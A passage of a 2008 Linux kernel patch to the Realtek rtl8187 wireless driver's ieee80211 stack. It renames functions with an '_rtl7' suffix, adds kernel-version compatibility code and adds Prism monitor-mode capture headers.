KERNEL_VERSION(2,6,20)) +extern void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work); +#else +extern void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee); +#endif -extern int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, - struct iw_request_info *info, +extern int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_name(struct ieee80211_device *ieee, - struct iw_request_info *info, + +extern int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_set_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern const long ieee80211_wlan_frequencies[]; -extern inline void ieee80211_increment_scans(struct ieee80211_device *ieee) +extern const long ieee80211_wlan_frequencies_rtl7[]; + +extern inline void ieee80211_increment_scans_rtl7(struct ieee80211_device *ieee) { ieee->scans++; } -extern inline int ieee80211_get_scans(struct ieee80211_device *ieee) +extern inline int ieee80211_get_scans_rtl7(struct ieee80211_device *ieee) { return ieee->scans; } @@ -1372,7 +1398,7 @@ const char *s = essid; char *d = escaped; - if (ieee80211_is_empty_essid(essid, essid_len)) { + if (ieee80211_is_empty_essid_rtl7(essid, essid_len)) { memcpy(escaped, "", sizeof("")); return escaped; } @@ -1390,4 +1416,5 @@ *d = '\0'; return escaped; } + #endif /* IEEE80211_H */ diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_module.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_module.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_module.c 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_module.c 2008-01-30 17:38:11.000000000 +0100 @@ -31,7 +31,6 @@ *******************************************************************************/ #include -#include #include #include #include @@ -52,6 +51,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" MODULE_DESCRIPTION("802.11 data/management/control stack"); @@ -60,7 +65,7 @@ #define DRV_NAME "ieee80211" -static inline int ieee80211_networks_allocate(struct ieee80211_device *ieee) +static inline int ieee80211_networks_allocate_rtl7(struct ieee80211_device *ieee) { if (ieee->networks) return 0; @@ -80,7 +85,7 @@ return 0; } -static inline void ieee80211_networks_free(struct ieee80211_device *ieee) +static inline void ieee80211_networks_free_rtl7(struct ieee80211_device *ieee) { if (!ieee->networks) return; @@ -88,7 +93,7 @@ ieee->networks = NULL; } -static inline void ieee80211_networks_initialize(struct ieee80211_device *ieee) +static inline void ieee80211_networks_initialize_rtl7(struct ieee80211_device *ieee) { int i; @@ -99,7 +104,7 @@ } -struct net_device *alloc_ieee80211(int sizeof_priv) +struct net_device *alloc_ieee80211_rtl7(int sizeof_priv) { struct ieee80211_device *ieee; struct net_device *dev; @@ -113,17 +118,17 @@ goto failed; } ieee = netdev_priv(dev); - dev->hard_start_xmit = ieee80211_xmit; + dev->hard_start_xmit = ieee80211_xmit_rtl7; ieee->dev = dev; - err = ieee80211_networks_allocate(ieee); + err = ieee80211_networks_allocate_rtl7(ieee); if (err) { IEEE80211_ERROR("Unable to allocate beacon storage: %d\n", err); goto failed; } - ieee80211_networks_initialize(ieee); + ieee80211_networks_initialize_rtl7(ieee); /* Default fragmentation threshold is maximum payload size */ ieee->fts = DEFAULT_FTS; @@ -138,7 +143,7 @@ INIT_LIST_HEAD(&ieee->crypt_deinit_list); init_timer(&ieee->crypt_deinit_timer); ieee->crypt_deinit_timer.data = (unsigned long)ieee; - ieee->crypt_deinit_timer.function = ieee80211_crypt_deinit_handler; + ieee->crypt_deinit_timer.function = ieee80211_crypt_deinit_handler_rtl7; spin_lock_init(&ieee->lock); @@ -149,7 +154,7 @@ ieee->ieee802_1x = 1; ieee->raw_tx = 0; - ieee80211_softmac_init(ieee); + ieee80211_softmac_init_rtl7(ieee); for (i = 0; i < IEEE_IBSS_MAC_HASH_SIZE; i++) INIT_LIST_HEAD(&ieee->ibss_mac_hash[i]); @@ -167,7 +172,7 @@ } -void free_ieee80211(struct net_device *dev) +void free_ieee80211_rtl7(struct net_device *dev) { struct ieee80211_device *ieee = netdev_priv(dev); @@ -175,9 +180,9 @@ struct list_head *p, *q; - ieee80211_softmac_free(ieee); + ieee80211_softmac_free_rtl7(ieee); del_timer_sync(&ieee->crypt_deinit_timer); - ieee80211_crypt_deinit_entries(ieee, 1); + ieee80211_crypt_deinit_entries_rtl7(ieee, 1); for (i = 0; i < WEP_KEYS; i++) { struct ieee80211_crypt_data *crypt = ieee->crypt[i]; @@ -191,7 +196,7 @@ } } - ieee80211_networks_free(ieee); + ieee80211_networks_free_rtl7(ieee); for (i = 0; i < IEEE_IBSS_MAC_HASH_SIZE; i++) { list_for_each_safe(p, q, &ieee->ibss_mac_hash[i]) { @@ -210,13 +215,13 @@ u32 ieee80211_debug_level = 0; struct proc_dir_entry *ieee80211_proc = NULL; -static int show_debug_level(char *page, char **start, off_t offset, +static int show_debug_level_rtl7(char *page, char **start, off_t offset, int count, int *eof, void *data) { return snprintf(page, count, "0x%08X\n", ieee80211_debug_level); } -static int store_debug_level(struct file *file, const char *buffer, +static int store_debug_level_rtl7(struct file *file, const char *buffer, unsigned long count, void *data) { char buf[] = "0x00000000"; @@ -243,7 +248,7 @@ return strnlen(buf, count); } -static int __init ieee80211_init(void) +static int __init ieee80211_init_rtl7(void) { struct proc_dir_entry *e; @@ -268,7 +273,7 @@ return 0; } -static void __exit ieee80211_exit(void) +static void __exit ieee80211_exit_rtl7(void) { if (ieee80211_proc) { remove_proc_entry("debug_level", ieee80211_proc); @@ -282,9 +287,9 @@ MODULE_PARM_DESC(debug, "debug output mask"); -module_exit(ieee80211_exit); -module_init(ieee80211_init); +module_exit(ieee80211_exit_rtl7); +module_init(ieee80211_init_rtl7); #endif -EXPORT_SYMBOL(alloc_ieee80211); -EXPORT_SYMBOL(free_ieee80211); +EXPORT_SYMBOL(alloc_ieee80211_rtl7); +EXPORT_SYMBOL(free_ieee80211_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_rx.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_rx.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_rx.c 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_rx.c 2008-01-30 17:38:11.000000000 +0100 @@ -13,16 +13,15 @@ * more details. ****************************************************************************** - Few modifications for Realtek's Wi-Fi drivers by + Few modifications for Realtek's Wi-Fi drivers by Andrea Merello - - A special thanks goes to Realtek for their support ! + + A special thanks goes to Realtek for their support ! ******************************************************************************/ - + #include -#include #include #include #include @@ -43,18 +42,89 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + + #include "ieee80211.h" -static inline void ieee80211_monitor_rx(struct ieee80211_device *ieee, +static inline void ieee80211_monitor_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats) { - struct ieee80211_hdr *hdr = (struct ieee80211_hdr *)skb->data; - u16 fc = le16_to_cpu(hdr->frame_ctl); + struct ieee80211_hdr *hdr1 = (struct ieee80211_hdr *)skb->data; + u16 fc = le16_to_cpu(hdr1->frame_ctl); + int prism_header; + int hdrlen, phdrlen, head_need, tail_need; + + if (ieee->dev->type == ARPHRD_IEEE80211_PRISM) { + prism_header = 1; + phdrlen = sizeof(struct linux_wlan_ng_prism_hdr); + } else { + prism_header = 0; + phdrlen = 0; + } + + hdrlen = ieee80211_get_hdrlen_rtl7(fc); + + /* check if there is enough room for extra data; if not, expand skb + * buffer to be large enough for the changes */ + head_need = phdrlen; + tail_need = 0; +#ifdef PRISM2_ADD_BOGUS_CRC + tail_need += 4; +#endif /* PRISM2_ADD_BOGUS_CRC */ + + head_need -= skb_headroom(skb); + tail_need -= skb_tailroom(skb); + + if (head_need > 0 || tail_need > 0) { + if (pskb_expand_head(skb, head_need > 0 ? head_need : 0, + tail_need > 0 ? tail_need : 0, + GFP_ATOMIC)) { + printk(KERN_DEBUG "%s: ieee80211_rx failed to " + "reallocate skb buffer\n", ieee->dev->name); + dev_kfree_skb_any(skb); + return; + } + } + + if (prism_header == 1) { + struct linux_wlan_ng_prism_hdr *hdr; + hdr = (struct linux_wlan_ng_prism_hdr *) + skb_push(skb, phdrlen); + memset(hdr, 0, phdrlen); + hdr->msgcode = LWNG_CAP_DID_BASE; + hdr->msglen = sizeof(*hdr); + memcpy(hdr->devname, ieee->dev->name, sizeof(hdr->devname)); +#define LWNG_SETVAL(f,i,s,l,d) \ +hdr->f.did = LWNG_CAP_DID_BASE | (i << 12); \ +hdr->f.status = s; hdr->f.len = l; hdr->f.data = d + LWNG_SETVAL(hosttime, 1, 0, 4, jiffies); + LWNG_SETVAL(mactime, 2, 0, 4, ((u32)rx_stats->mac_time)); + LWNG_SETVAL(channel, 3, 1 /* no value */, 4, 0); + LWNG_SETVAL(rssi, 4, 1 /* no value */, 4, 0); + LWNG_SETVAL(sq, 5, 1 /* no value */, 4, 0); + LWNG_SETVAL(signal, 6, 0, 4, rx_stats->signal); + LWNG_SETVAL(noise, 7, 0, 4, rx_stats->noise); + LWNG_SETVAL(rate, 8, 0, 4, rx_stats->rate / 5); + LWNG_SETVAL(istx, 9, 0, 4, 0); + LWNG_SETVAL(frmlen, 10, 0, 4, skb->len - phdrlen); +#undef LWNG_SETVAL + } skb->dev = ieee->dev; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,22)) skb->mac.raw = skb->data; - skb_pull(skb, ieee80211_get_hdrlen(fc)); +#else + skb_reset_mac_header(skb); +#endif + skb_pull(skb, hdrlen); + if (prism_header) + skb_pull(skb, phdrlen); skb->pkt_type = PACKET_OTHERHOST; skb->protocol = __constant_htons(ETH_P_80211_RAW); memset(skb->cb, 0, sizeof(skb->cb)); @@ -64,7 +134,7 @@ /* Called only as a tasklet (software IRQ) */ static struct ieee80211_frag_entry * -ieee80211_frag_cache_find(struct ieee80211_device *ieee, unsigned int seq, +ieee80211_frag_cache_find_rtl7(struct ieee80211_device *ieee, unsigned int seq, unsigned int frag, u8 *src, u8 *dst) { struct ieee80211_frag_entry *entry; @@ -94,7 +164,7 @@ /* Called only as a tasklet (software IRQ) */ static struct sk_buff * -ieee80211_frag_cache_get(struct ieee80211_device *ieee, +ieee80211_frag_cache_get_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *hdr) { struct sk_buff *skb = NULL; @@ -133,7 +203,7 @@ } else { /* received a fragment of a frame for which the head fragment * should have already been received */ - entry = ieee80211_frag_cache_find(ieee, seq, frag, hdr->addr2, + entry = ieee80211_frag_cache_find_rtl7(ieee, seq, frag, hdr->addr2, hdr->addr1); if (entry != NULL) { entry->last_frag = frag; @@ -146,7 +216,7 @@ /* Called only as a tasklet (software IRQ) */ -static int ieee80211_frag_cache_invalidate(struct ieee80211_device *ieee, +static int ieee80211_frag_cache_invalidate_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *hdr) { u16 sc; @@ -156,7 +226,7 @@ sc = le16_to_cpu(hdr->seq_ctl); seq = WLAN_GET_SEQ_SEQ(sc); - entry = ieee80211_frag_cache_find(ieee, seq, -1, hdr->addr2, + entry = ieee80211_frag_cache_find_rtl7(ieee, seq, -1, hdr->addr2, hdr->addr1); if (entry == NULL) { @@ -178,7 +248,7 @@ * * Called by ieee80211_rx */ static inline int -ieee80211_rx_frame_mgmt(struct ieee80211_device *ieee, struct sk_buff *skb, +ieee80211_rx_frame_mgmt_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype) { @@ -187,13 +257,13 @@ * response parser uses it */ rx_stats->len = skb->len; - ieee80211_rx_mgt(ieee,(struct ieee80211_hdr *)skb->data,rx_stats); - ieee80211_rx_frame_softmac(ieee, skb, rx_stats, type, stype); + ieee80211_rx_mgt_rtl7(ieee,(struct ieee80211_hdr *)skb->data,rx_stats); + ieee80211_rx_frame_softmac_rtl7(ieee, skb, rx_stats, type, stype); dev_kfree_skb_any(skb); - + return 0; - + #ifdef NOT_YET if (ieee->iw_mode == IW_MODE_MASTER) { printk(KERN_DEBUG "%s: Master mode not yet suppported.\n", @@ -253,7 +323,7 @@ /* No encapsulation header if EtherType < 0x600 (=length) */ /* Called by ieee80211_rx_frame_decrypt */ -static int ieee80211_is_eapol_frame(struct ieee80211_device *ieee, +static int ieee80211_is_eapol_frame_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { struct net_device *dev = ieee->dev; @@ -294,7 +364,7 @@ /* Called only as a tasklet (software IRQ), by ieee80211_rx */ static inline int -ieee80211_rx_frame_decrypt(struct ieee80211_device* ieee, struct sk_buff *skb, +ieee80211_rx_frame_decrypt_rtl7(struct ieee80211_device* ieee, struct sk_buff *skb, struct ieee80211_crypt_data *crypt) { struct ieee80211_hdr *hdr; @@ -304,7 +374,7 @@ return 0; hdr = (struct ieee80211_hdr *) skb->data; - hdrlen = ieee80211_get_hdrlen(le16_to_cpu(hdr->frame_ctl)); + hdrlen = ieee80211_get_hdrlen_rtl7(le16_to_cpu(hdr->frame_ctl)); #ifdef CONFIG_IEEE80211_CRYPT_TKIP if (ieee->tkip_countermeasures && @@ -339,7 +409,7 @@ /* Called only as a tasklet (software IRQ), by ieee80211_rx */ static inline int -ieee80211_rx_frame_decrypt_msdu(struct ieee80211_device* ieee, struct sk_buff *skb, +ieee80211_rx_frame_decrypt_msdu_rtl7(struct ieee80211_device* ieee, struct sk_buff *skb, int keyidx, struct ieee80211_crypt_data *crypt) { struct ieee80211_hdr *hdr; @@ -349,7 +419,7 @@ return 0; hdr = (struct ieee80211_hdr *) skb->data; - hdrlen = ieee80211_get_hdrlen(le16_to_cpu(hdr->frame_ctl)); + hdrlen = ieee80211_get_hdrlen_rtl7(le16_to_cpu(hdr->frame_ctl)); atomic_inc(&crypt->refcnt); res = crypt->ops->decrypt_msdu(skb, keyidx, hdrlen, crypt->priv); @@ -367,7 +437,7 @@ /* this function is stolen from ipw2200 driver*/ #define IEEE_PACKET_RETRY_TIME (5*HZ) -static int is_duplicate_packet(struct ieee80211_device *ieee, +static int is_duplicate_packet_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header) { // u16 fc = le16_to_cpu(header->frame_ctl); @@ -413,7 +483,7 @@ last_seq = &ieee->last_seq_num; last_frag = &ieee->last_frag_num; last_time = &ieee->last_packet_time; - + break; default: return 0; @@ -436,7 +506,7 @@ drop: // BUG_ON(!(fc & IEEE80211_FCTL_RETRY)); // printk("DUP\n"); - + return 1; } @@ -444,7 +514,7 @@ /* All received frames are sent to this function. @skb contains the frame in * IEEE 802.11 format, i.e., in the format it was sent over air. * This function is called only as a tasklet (software IRQ). */ -int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb, +int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats) { struct net_device *dev = ieee->dev; @@ -481,9 +551,9 @@ type = WLAN_FC_GET_TYPE(fc); stype = WLAN_FC_GET_STYPE(fc); sc = le16_to_cpu(hdr->seq_ctl); - + frag = WLAN_GET_SEQ_FRAG(sc); - hdrlen = ieee80211_get_hdrlen(fc); + hdrlen = ieee80211_get_hdrlen_rtl7(fc); #ifdef NOT_YET #if WIRELESS_EXT > 15 @@ -501,12 +571,12 @@ } #endif /* IW_WIRELESS_SPY */ #endif /* WIRELESS_EXT > 15 */ - hostap_update_rx_stats(local->ap, hdr, rx_stats); + hostap_update_rx_stats_rtl7(local->ap, hdr, rx_stats); #endif #if WIRELESS_EXT > 15 if (ieee->iw_mode == IW_MODE_MONITOR) { - ieee80211_monitor_rx(ieee, skb, rx_stats); + ieee80211_monitor_rx_rtl7(ieee, skb, rx_stats); stats->rx_packets++; stats->rx_bytes += skb->len; return 1; @@ -529,7 +599,7 @@ * stations that do not support WEP key mapping). */ if (!(hdr->addr1[0] & 0x01) || local->bcrx_sta_key) - (void) hostap_handle_sta_crypto(local, hdr, &crypt, + (void) hostap_handle_sta_crypto_rtl7(local, hdr, &crypt, &sta); #endif @@ -555,7 +625,7 @@ if (skb->len < IEEE80211_DATA_HDR3_LEN) goto rx_dropped; - if (is_duplicate_packet(ieee, hdr)) + if (is_duplicate_packet_rtl7(ieee, hdr)) goto rx_dropped; @@ -573,9 +643,9 @@ goto rx_dropped; } #endif - - - if (ieee80211_rx_frame_mgmt(ieee, skb, rx_stats, type, stype)) + + + if (ieee80211_rx_frame_mgmt_rtl7(ieee, skb, rx_stats, type, stype)) goto rx_dropped; else goto rx_exit; @@ -583,7 +653,7 @@ /* Data frame - extract src/dst addresses */ - + switch (fc & (IEEE80211_FCTL_FROMDS | IEEE80211_FCTL_TODS)) { case IEEE80211_FCTL_FROMDS: memcpy(dst, hdr->addr1, ETH_ALEN); @@ -606,7 +676,7 @@ } #ifdef NOT_YET - if (hostap_rx_frame_wds(ieee, hdr, fc, &wds)) + if (hostap_rx_frame_wds_rtl7(ieee, hdr, fc, &wds)) goto rx_dropped; if (wds) { skb->dev = dev = wds; @@ -619,7 +689,7 @@ memcmp(hdr->addr2, ieee->assoc_ap_addr, ETH_ALEN) == 0) { /* Frame from BSSID of the AP for which we are a client */ skb->dev = dev = ieee->stadev; - stats = hostap_get_stats(dev); + stats = hostap_get_stats_rtl7(dev); from_assoc_ap = 1; } #endif @@ -630,7 +700,7 @@ if ((ieee->iw_mode == IW_MODE_MASTER || ieee->iw_mode == IW_MODE_REPEAT) && !from_assoc_ap) { - switch (hostap_handle_sta_rx(ieee, dev, skb, rx_stats, + switch (hostap_handle_sta_rx_rtl7(ieee, dev, skb, rx_stats, wds != NULL)) { case AP_RX_CONTINUE_NOT_AUTHORIZED: frame_authorized = 0; @@ -664,7 +734,7 @@ /* skb: hdr + (possibly fragmented, possibly encrypted) payload */ if (ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) && - (keyidx = ieee80211_rx_frame_decrypt(ieee, skb, crypt)) < 0) + (keyidx = ieee80211_rx_frame_decrypt_rtl7(ieee, skb, crypt)) < 0) goto rx_dropped; hdr = (struct ieee80211_hdr *) skb->data; @@ -674,7 +744,7 @@ // ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) && if ((frag != 0 || (fc & IEEE80211_FCTL_MOREFRAGS))) { int flen; - struct sk_buff *frag_skb = ieee80211_frag_cache_get(ieee, hdr); + struct sk_buff *frag_skb = ieee80211_frag_cache_get_rtl7(ieee, hdr); IEEE80211_DEBUG_FRAG("Rx Fragment received (%u)\n", frag); if (!frag_skb) { @@ -694,7 +764,7 @@ printk(KERN_WARNING "%s: host decrypted and " "reassembled frame did not fit skb\n", dev->name); - ieee80211_frag_cache_invalidate(ieee, hdr); + ieee80211_frag_cache_invalidate_rtl7(ieee, hdr); goto rx_dropped; } @@ -722,19 +792,19 @@ * delivered, so remove skb from fragment cache */ skb = frag_skb; hdr = (struct ieee80211_hdr *) skb->data; - ieee80211_frag_cache_invalidate(ieee, hdr); + ieee80211_frag_cache_invalidate_rtl7(ieee, hdr); } /* skb: hdr + (possible reassembled) full MSDU payload; possibly still * encrypted/authenticated */ if (ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) && - ieee80211_rx_frame_decrypt_msdu(ieee, skb, keyidx, crypt)) + ieee80211_rx_frame_decrypt_msdu_rtl7(ieee, skb, keyidx, crypt)) goto rx_dropped; hdr = (struct ieee80211_hdr *) skb->data; if (crypt && !(fc & IEEE80211_FCTL_WEP) && !ieee->open_wep) { if (/*ieee->ieee802_1x &&*/ - ieee80211_is_eapol_frame(ieee, skb)) { + ieee80211_is_eapol_frame_rtl7(ieee, skb)) { #ifdef CONFIG_IEEE80211_DEBUG /* pass unencrypted EAPOL frames even if encryption is * configured */ @@ -763,7 +833,7 @@ #endif if (crypt && !(fc & IEEE80211_FCTL_WEP) && !ieee->open_wep && - !ieee80211_is_eapol_frame(ieee, skb)) { + !ieee80211_is_eapol_frame_rtl7(ieee, skb)) { IEEE80211_DEBUG_DROP( "dropped unencrypted RX data " "frame from " MAC_FMT @@ -861,7 +931,12 @@ if (skb2 != NULL) { /* send to wireless media */ skb2->protocol = __constant_htons(ETH_P_802_3); +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,22)) skb2->mac.raw = skb2->nh.raw = skb2->data; +#else + skb_reset_mac_header(skb2); + skb_reset_network_header(skb2); +#endif /* skb2->nh.raw = skb2->data + ETH_HLEN; */ skb2->dev = dev; dev_queue_xmit(skb2); @@ -896,7 +971,7 @@ #define MGMT_FRAME_FIXED_PART_LENGTH 0x24 -static inline int ieee80211_is_ofdm_rate(u8 rate) +static inline int ieee80211_is_ofdm_rate_rtl7(u8 rate) { switch (rate & ~IEEE80211_BASIC_RATE_MASK) { case IEEE80211_OFDM_RATE_6MB: @@ -913,7 +988,7 @@ } -static inline int ieee80211_network_init( +static inline int ieee80211_network_init_rtl7( struct ieee80211_device *ieee, struct ieee80211_probe_response *beacon, struct ieee80211_network *network, @@ -964,7 +1039,7 @@ switch (info_element->id) { case MFIE_TYPE_SSID: - if (ieee80211_is_empty_essid(info_element->data, + if (ieee80211_is_empty_essid_rtl7(info_element->data, info_element->len)) { network->flags |= NETWORK_EMPTY_ESSID; break; @@ -991,7 +1066,7 @@ #ifdef CONFIG_IEEE80211_DEBUG p += snprintf(p, sizeof(rates_str) - (p - rates_str), "%02X ", network->rates[i]); #endif - if (ieee80211_is_ofdm_rate(info_element->data[i])) { + if (ieee80211_is_ofdm_rate_rtl7(info_element->data[i])) { network->flags |= NETWORK_HAS_OFDM; if (info_element->data[i] & IEEE80211_BASIC_RATE_MASK) @@ -1014,7 +1089,7 @@ #ifdef CONFIG_IEEE80211_DEBUG p += snprintf(p, sizeof(rates_str) - (p - rates_str), "%02X ", network->rates[i]); #endif - if (ieee80211_is_ofdm_rate(info_element->data[i])) { + if (ieee80211_is_ofdm_rate_rtl7(info_element->data[i])) { network->flags |= NETWORK_HAS_OFDM; if (info_element->data[i] & IEEE80211_BASIC_RATE_MASK) @@ -1043,47 +1118,47 @@ break; case MFIE_TYPE_TIM: - - if(info_element->len < 4) + + if(info_element->len < 4) break; - + network->dtim_period = info_element->data[1]; - + if(ieee->state != IEEE80211_LINKED) break; - - network->last_dtim_sta_time[0] = stats->mac_time[0]; + + network->last_dtim_sta_time[0] = stats->mac_time[0]; network->last_dtim_sta_time[1] = stats->mac_time[1]; - + network->dtim_data = IEEE80211_DTIM_VALID; - - if(info_element->data[0] != 0) + + if(info_element->data[0] != 0) break; - + if(info_element->data[2] & 1) network->dtim_data |= IEEE80211_DTIM_MBCAST; - + offset = (info_element->data[2] >> 1)*2; - - //printk("offset1:%x aid:%x\n",offset, ieee->assoc_id); - - if(ieee->assoc_id < offset || + + //printk("offset1:%x aid:%x\n",offset, ieee->assoc_id); + + if(ieee->assoc_id < offset || ieee->assoc_id > 8*(offset + info_element->len -3)) - + break; - - + + offset = offset + ieee->assoc_id / 8;// + ((aid % 8)? 0 : 1) ; - - // printk("offset:%x data:%x, ucast:%d\n", offset, + + // printk("offset:%x data:%x, ucast:%d\n", offset, // info_element->data[3+offset] , // info_element->data[3+offset] & (1<<(ieee->assoc_id%8))); - + if(info_element->data[3+offset] & (1<<(ieee->assoc_id%8))) network->dtim_data |= IEEE80211_DTIM_UCAST; - + break; - + case MFIE_TYPE_IBSS_SET: IEEE80211_DEBUG_SCAN("MFIE_TYPE_IBSS_SET: ignored\n"); break; @@ -1115,7 +1190,7 @@ memcpy(network->rsn_ie, info_element, network->rsn_ie_len); break; - + default: IEEE80211_DEBUG_SCAN("unsupported IE %d\n", info_element->id); @@ -1147,7 +1222,7 @@ return 1; } - if (ieee80211_is_empty_essid(network->ssid, network->ssid_len)) + if (ieee80211_is_empty_essid_rtl7(network->ssid, network->ssid_len)) network->flags |= NETWORK_EMPTY_ESSID; memcpy(&network->stats, stats, sizeof(network->stats)); @@ -1155,24 +1230,24 @@ return 0; } -static inline int is_same_network(struct ieee80211_network *src, +static inline int is_same_network_rtl7(struct ieee80211_network *src, struct ieee80211_network *dst) { /* A network is only a duplicate if the channel, BSSID, ESSID - * and the capability field (in particular IBSS and BSS) all match. + * and the capability field (in particular IBSS and BSS) all match. * We treat all with the same BSSID and channel * as one network */ return ((src->ssid_len == dst->ssid_len) && (src->channel == dst->channel) && !memcmp(src->bssid, dst->bssid, ETH_ALEN) && !memcmp(src->ssid, dst->ssid, src->ssid_len) && - ((src->capability & WLAN_CAPABILITY_IBSS) == + ((src->capability & WLAN_CAPABILITY_IBSS) == (dst->capability & WLAN_CAPABILITY_IBSS)) && - ((src->capability & WLAN_CAPABILITY_BSS) == + ((src->capability & WLAN_CAPABILITY_BSS) == (dst->capability & WLAN_CAPABILITY_BSS))); } -static inline void update_network(struct ieee80211_network *dst, +static inline void update_network_rtl7(struct ieee80211_network *dst, struct ieee80211_network *src) { memcpy(&dst->stats, &src->stats, sizeof(struct ieee80211_rx_stats)); @@ -1194,7 +1269,7 @@ dst->dtim_data = src->dtim_data; dst->last_dtim_sta_time[0] = src->last_dtim_sta_time[0]; dst->last_dtim_sta_time[1] = src->last_dtim_sta_time[1]; - + memcpy(dst->wpa_ie, src->wpa_ie, src->wpa_ie_len); dst->wpa_ie_len = src->wpa_ie_len; memcpy(dst->rsn_ie, src->rsn_ie, src->rsn_ie_len); @@ -1204,7 +1279,7 @@ /* dst->last_associate is not overwritten */ } -static inline void ieee80211_process_probe_response( +static inline void ieee80211_process_probe_response_rtl7( struct ieee80211_device *ieee, struct ieee80211_probe_response *beacon, struct ieee80211_rx_stats *stats) @@ -1239,7 +1314,7 @@ (beacon->capability & (1<<0x1)) ? '1' : '0', (beacon->capability & (1<<0x0)) ? '1' : '0'); - if (ieee80211_network_init(ieee, beacon, &network, stats)) { + if (ieee80211_network_init_rtl7(ieee, beacon, &network, stats)) { IEEE80211_DEBUG_SCAN("Dropped '%s' (" MAC_FMT ") via %s.\n", escape_essid(info_element->data, info_element->len), @@ -1261,12 +1336,12 @@ * already there. */ spin_lock_irqsave(&ieee->lock, flags); - - if(is_same_network(&ieee->current_network, &network)) - update_network(&ieee->current_network, &network); - + + if(is_same_network_rtl7(&ieee->current_network, &network)) + update_network_rtl7(&ieee->current_network, &network); + list_for_each_entry(target, &ieee->network_list, list) { - if (is_same_network(target, &network)) + if (is_same_network_rtl7(target, &network)) break; if ((oldest == NULL) || @@ -1306,7 +1381,7 @@ memcpy(target, &network, sizeof(*target)); list_add_tail(&target->list, &ieee->network_list); if(ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) - ieee80211_softmac_new_net(ieee,&network); + ieee80211_softmac_new_net_rtl7(ieee,&network); } else { IEEE80211_DEBUG_SCAN("Updating '%s' (" MAC_FMT ") via %s.\n", escape_essid(target->ssid, @@ -1315,39 +1390,39 @@ WLAN_FC_GET_STYPE(beacon->header.frame_ctl) == IEEE80211_STYPE_PROBE_RESP ? "PROBE RESPONSE" : "BEACON"); - + /* we have an entry and we are going to update it. But this entry may - * be already expired. In this case we do the same as we found a new + * be already expired. In this case we do the same as we found a new * net and call the new_net handler */ renew = !time_after(target->last_scanned + ieee->scan_age, jiffies); - update_network(target, &network); + update_network_rtl7(target, &network); if(renew && (ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE)) - ieee80211_softmac_new_net(ieee,&network); + ieee80211_softmac_new_net_rtl7(ieee,&network); } spin_unlock_irqrestore(&ieee->lock, flags); } -void ieee80211_rx_mgt(struct ieee80211_device *ieee, +void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header, struct ieee80211_rx_stats *stats) { switch (WLAN_FC_GET_STYPE(header->frame_ctl)) { - + case IEEE80211_STYPE_BEACON: IEEE80211_DEBUG_MGMT("received BEACON (%d)\n", WLAN_FC_GET_STYPE(header->frame_ctl)); IEEE80211_DEBUG_SCAN("Beacon\n"); - ieee80211_process_probe_response( + ieee80211_process_probe_response_rtl7( ieee, (struct ieee80211_probe_response *)header, stats); break; - + case IEEE80211_STYPE_PROBE_RESP: IEEE80211_DEBUG_MGMT("received PROBE RESPONSE (%d)\n", WLAN_FC_GET_STYPE(header->frame_ctl)); IEEE80211_DEBUG_SCAN("Probe response\n"); - ieee80211_process_probe_response( + ieee80211_process_probe_response_rtl7( ieee, (struct ieee80211_probe_response *)header, stats); break; @@ -1355,5 +1430,5 @@ } -EXPORT_SYMBOL(ieee80211_rx_mgt); -EXPORT_SYMBOL(ieee80211_rx); +EXPORT_SYMBOL(ieee80211_rx_mgt_rtl7); +EXPORT_SYMBOL(ieee80211_rx_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_softmac.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_softmac.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_softmac.c 2006-06-19 03:27:33.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_softmac.c 2008-01-30 17:38:11.000000000 +0100 @@ -1,14 +1,14 @@ /* IEEE 802.11 SoftMAC layer * 